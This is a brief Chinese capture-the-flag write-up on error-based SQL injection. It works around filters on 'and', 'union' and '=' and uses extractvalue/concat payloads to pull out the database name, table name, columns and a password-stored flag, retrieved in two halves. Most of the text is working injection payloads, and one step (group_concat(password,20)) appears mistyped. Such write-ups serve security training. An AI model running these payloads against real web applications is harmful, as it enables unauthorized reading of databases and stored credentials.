拿到题目直接模糊测试
发现过滤的挺多:什么and,union,=,都过滤掉了
然后看了下正常输入的页面回显之后尝试:报错注入
1'or(extractvalue(1,concat(0x7e,database())))#
得到库名:geek
'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like("geek")))))#
得到:表名H4rDsq1;
'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#
得到列名:id,username,password;
'or(extractvalue(1,concat(0x7e,(select(group_concat(password,20))from(H4rDsq1)where(id)like(1)))))#
得到一半的flag,然后修改payload
'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)where(id)like(1)))))#
得到另一半
然后就是完整的flag了